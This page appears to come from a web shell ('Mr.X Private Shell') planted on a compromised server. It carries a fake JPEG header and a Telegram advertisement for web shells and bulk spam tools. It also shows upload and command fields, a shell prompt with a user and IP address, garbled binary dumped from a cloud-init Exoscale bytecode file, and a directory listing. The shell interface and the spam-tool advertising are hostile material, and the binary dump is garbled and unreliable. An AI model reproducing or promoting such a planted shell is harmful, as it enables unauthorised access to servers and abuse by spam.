����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg8"�@s^ddlZddlmZmZmZmZmZmZddlm	Z	e�
e�ZdZ
dZdZdZdZd	ZGd
d�dej�ZeejejffgZdd
�Ze
eeeefdd�Ze
eeeefdd�Zedk�rZddlZejdd�Zejddde
d�ejddded�ejddeded�ejd ded!ed�ejd"d#ed$ed�e� �Z!ee!j"e!j#e!j$e!j%e!j&d%�Z'e(e�)e'��dS)&�N)�
atomic_helper�dmi�helpers�sources�
url_helper�util)�ec2zhttp://169.254.169.254z1.0i��
��ExoscalecsXeZdZdZdZ�fdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
edd��Z�Z
S)�DataSourceExoscaler�xcs|tt|��|||�t�d�|j�dt�|_|j�dt	�|_
t|j�dt��|_
|j�dt�|_|j�dt�|_i|_dS)Nz$Initializing the Exoscale datasource�metadata_url�api_version�password_server_port�timeout�retries)�superr�__init__�LOG�debugZds_cfg�get�METADATA_URLr�API_VERSIONr�int�PASSWORD_SERVER_PORTr�URL_TIMEOUT�url_timeout�URL_RETRIES�url_retries�extra_config)�selfZsys_cfgZdistro�paths��	__class__��H/usr/lib/python3.9/site-packages/cloudinit/sources/DataSourceExoscale.pyrs
�zDataSourceExoscale.__init__cCs8d}|j�d�}t�|�}|�d|d�r4t�d�dS)z<Adjust set_passwords module to run 'always' during each bootZ
set_passwordsZsemZconfig_Nz5Overriding module set_passwords with frequency always)r"Z
get_ipath_currZFileSemaphores�clearrr)r!ZcfgZis_new_instance�modZsem_pathZ
sem_helperr%r%r&�activate*s
	
zDataSourceExoscale.activatecCs6d�|j|j�}tj|g|j|jtjd�\}}t	|�S)z.Wait for the metadata service to be reachable.z{}/{}/meta-data/instance-id)ZurlsZmax_waitrZ	status_cb)
�formatrrrZwait_for_url�url_max_waitrrZcritical�bool)r!r�urlZ	_responser%r%r&�wait_for_metadata_service9s��
z,DataSourceExoscale.wait_for_metadata_servicecCs*|��}|siSt|j|j|j|j|j�S)zw
        Crawl the metadata service when available.

        @returns: Dictionary of crawled metadata content.
        )r.�
read_metadatarrrrr)r!Zmetadata_readyr%r%r&�crawl_metadataIs�z!DataSourceExoscale.crawl_metadatacCs\|��}|sdS|d|_|d|_|�d�}i}|rFd|ddid�}t�|j|g�|_dS)z�Fetch the user data, the metadata and the VM password
        from the metadata service.

        Please refer to the datasource documentation for details on how the
        metadata server and password server are crawled.
        F�	user-data�	meta-data�passwordTZexpire)Z
ssh_pwauthr3Zchpasswd)r0Zuserdata_raw�metadatarrZ
mergemanydictr )r!�datar3Zpassword_configr%r%r&�	_get_data\s"


��	�zDataSourceExoscale._get_datacCs|jS�N)r )r!r%r%r&�get_config_obj�sz!DataSourceExoscale.get_config_objcCst�d��t�S)Nzsystem-product-name)rZ
read_dmi_data�
startswith�EXOSCALE_DMI_NAMEr%r%r%r&�	ds_detect�s
�zDataSourceExoscale.ds_detect)�__name__�
__module__�__qualname__Zdsnamer+rr)r.r0r6r8�staticmethodr;�
__classcell__r%r%r#r&rs
'rcCst�|t�Sr7)rZlist_from_depends�datasources)Zdependsr%r%r&�get_datasource_list�srBcCsZd�|||�}tj|dddi||d�}|j�d�}|dvr>dStj|dddi||d�|S)	z�Obtain the VM's password if set.

    Once fetched the password is marked saved. Future calls to this method may
    return empty string or 'saved_password'.z	{}:{}/{}/NZDomU_RequestZsend_my_password)Zssl_detailsZheadersrrzutf-8)��saved_passwordrD)r*rZread_file_or_url�contents�decode)rrrrrZpassword_urlZresponser3r%r%r&�get_password�s*���rGc
Cs�i}||d<z0tj||||d�|d<tj||||d�|d<Wn8tyt}z t�td||�iWYd}~Sd}~00zt|||||d�|d<Wn6ty�}zt�td	|||�WYd}~n
d}~00|S)
z8Query the metadata server and return the retrieved data.Z_metadata_api_version)rrr1r2z(failed reading from metadata url %s (%s)N)rrrrrr3z2failed to read from password server url %s:%s (%s))rZget_instance_userdataZget_instance_metadata�	ExceptionrZlogexcrrG)rrrrrZcrawled_metadata�er%r%r&r/�s>�
����r/�__main__zQuery Exoscale Metadata)�descriptionz
--endpointZURLz The url of the metadata service.)�metavar�help�defaultz	--versionZVERSIONz.The version of the metadata endpoint to query.z	--retriesZNUMz,The number of retries querying the endpoint.)rL�typerMrNz	--timeoutz.The time in seconds to wait before timing out.z--password-portZPORTz/The port on which the password endpoint listens)rrrrr)*ZloggingZ	cloudinitrrrrrrZcloudinit.sources.helpersrZ	getLoggerr<rrrrrrr:Z
DataSourcerZDEP_FILESYSTEMZDEP_NETWORKrArBrGr/�argparse�ArgumentParser�parser�add_argumentr�
parse_args�argsZendpoint�versionZ
password_portrrr5�printZ
json_dumpsr%r%r%r&�<module>s� 
x��
'�
+
������

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-39.opt-1.pyc File 8.32 KB 0644
DataSourceAkamai.cpython-39.pyc File 8.32 KB 0644
DataSourceAliYun.cpython-39.opt-1.pyc File 12.02 KB 0644
DataSourceAliYun.cpython-39.pyc File 12.02 KB 0644
DataSourceAltCloud.cpython-39.opt-1.pyc File 7.04 KB 0644
DataSourceAltCloud.cpython-39.pyc File 7.04 KB 0644
DataSourceAzure.cpython-39.opt-1.pyc File 50.34 KB 0644
DataSourceAzure.cpython-39.pyc File 50.34 KB 0644
DataSourceBigstep.cpython-39.opt-1.pyc File 1.92 KB 0644
DataSourceBigstep.cpython-39.pyc File 1.92 KB 0644
DataSourceCloudCIX.cpython-39.opt-1.pyc File 4.68 KB 0644
DataSourceCloudCIX.cpython-39.pyc File 4.68 KB 0644
DataSourceCloudSigma.cpython-39.opt-1.pyc File 3.7 KB 0644
DataSourceCloudSigma.cpython-39.pyc File 3.7 KB 0644
DataSourceCloudStack.cpython-39.opt-1.pyc File 8.2 KB 0644
DataSourceCloudStack.cpython-39.pyc File 8.2 KB 0644
DataSourceConfigDrive.cpython-39.opt-1.pyc File 8.37 KB 0644
DataSourceConfigDrive.cpython-39.pyc File 8.37 KB 0644
DataSourceDigitalOcean.cpython-39.opt-1.pyc File 3.79 KB 0644
DataSourceDigitalOcean.cpython-39.pyc File 3.79 KB 0644
DataSourceEc2.cpython-39.opt-1.pyc File 27.39 KB 0644
DataSourceEc2.cpython-39.pyc File 27.39 KB 0644
DataSourceExoscale.cpython-39.opt-1.pyc File 5.88 KB 0644
DataSourceExoscale.cpython-39.pyc File 5.88 KB 0644
DataSourceGCE.cpython-39.opt-1.pyc File 9.68 KB 0644
DataSourceGCE.cpython-39.pyc File 9.77 KB 0644
DataSourceHetzner.cpython-39.opt-1.pyc File 3.89 KB 0644
DataSourceHetzner.cpython-39.pyc File 3.89 KB 0644
DataSourceIBMCloud.cpython-39.opt-1.pyc File 13.47 KB 0644
DataSourceIBMCloud.cpython-39.pyc File 13.47 KB 0644
DataSourceLXD.cpython-39.opt-1.pyc File 13.61 KB 0644
DataSourceLXD.cpython-39.pyc File 13.61 KB 0644
DataSourceMAAS.cpython-39.opt-1.pyc File 11.65 KB 0644
DataSourceMAAS.cpython-39.pyc File 11.65 KB 0644
DataSourceNWCS.cpython-39.opt-1.pyc File 4.05 KB 0644
DataSourceNWCS.cpython-39.pyc File 4.05 KB 0644
DataSourceNoCloud.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceNoCloud.cpython-39.pyc File 9.92 KB 0644
DataSourceNone.cpython-39.opt-1.pyc File 1.38 KB 0644
DataSourceNone.cpython-39.pyc File 1.38 KB 0644
DataSourceOVF.cpython-39.opt-1.pyc File 9.24 KB 0644
DataSourceOVF.cpython-39.pyc File 9.24 KB 0644
DataSourceOpenNebula.cpython-39.opt-1.pyc File 12.24 KB 0644
DataSourceOpenNebula.cpython-39.pyc File 12.24 KB 0644
DataSourceOpenStack.cpython-39.opt-1.pyc File 7.91 KB 0644
DataSourceOpenStack.cpython-39.pyc File 7.91 KB 0644
DataSourceOracle.cpython-39.opt-1.pyc File 14.58 KB 0644
DataSourceOracle.cpython-39.pyc File 14.58 KB 0644
DataSourceRbxCloud.cpython-39.opt-1.pyc File 7.39 KB 0644
DataSourceRbxCloud.cpython-39.pyc File 7.39 KB 0644
DataSourceScaleway.cpython-39.opt-1.pyc File 10.9 KB 0644
DataSourceScaleway.cpython-39.pyc File 10.9 KB 0644
DataSourceSmartOS.cpython-39.opt-1.pyc File 24.78 KB 0644
DataSourceSmartOS.cpython-39.pyc File 24.78 KB 0644
DataSourceUpCloud.cpython-39.opt-1.pyc File 4.4 KB 0644
DataSourceUpCloud.cpython-39.pyc File 4.4 KB 0644
DataSourceVMware.cpython-39.opt-1.pyc File 23.33 KB 0644
DataSourceVMware.cpython-39.pyc File 23.33 KB 0644
DataSourceVultr.cpython-39.opt-1.pyc File 3.54 KB 0644
DataSourceVultr.cpython-39.pyc File 3.54 KB 0644
DataSourceWSL.cpython-39.opt-1.pyc File 9.92 KB 0644
DataSourceWSL.cpython-39.pyc File 9.92 KB 0644
__init__.cpython-39.opt-1.pyc File 30.92 KB 0644
__init__.cpython-39.pyc File 30.92 KB 0644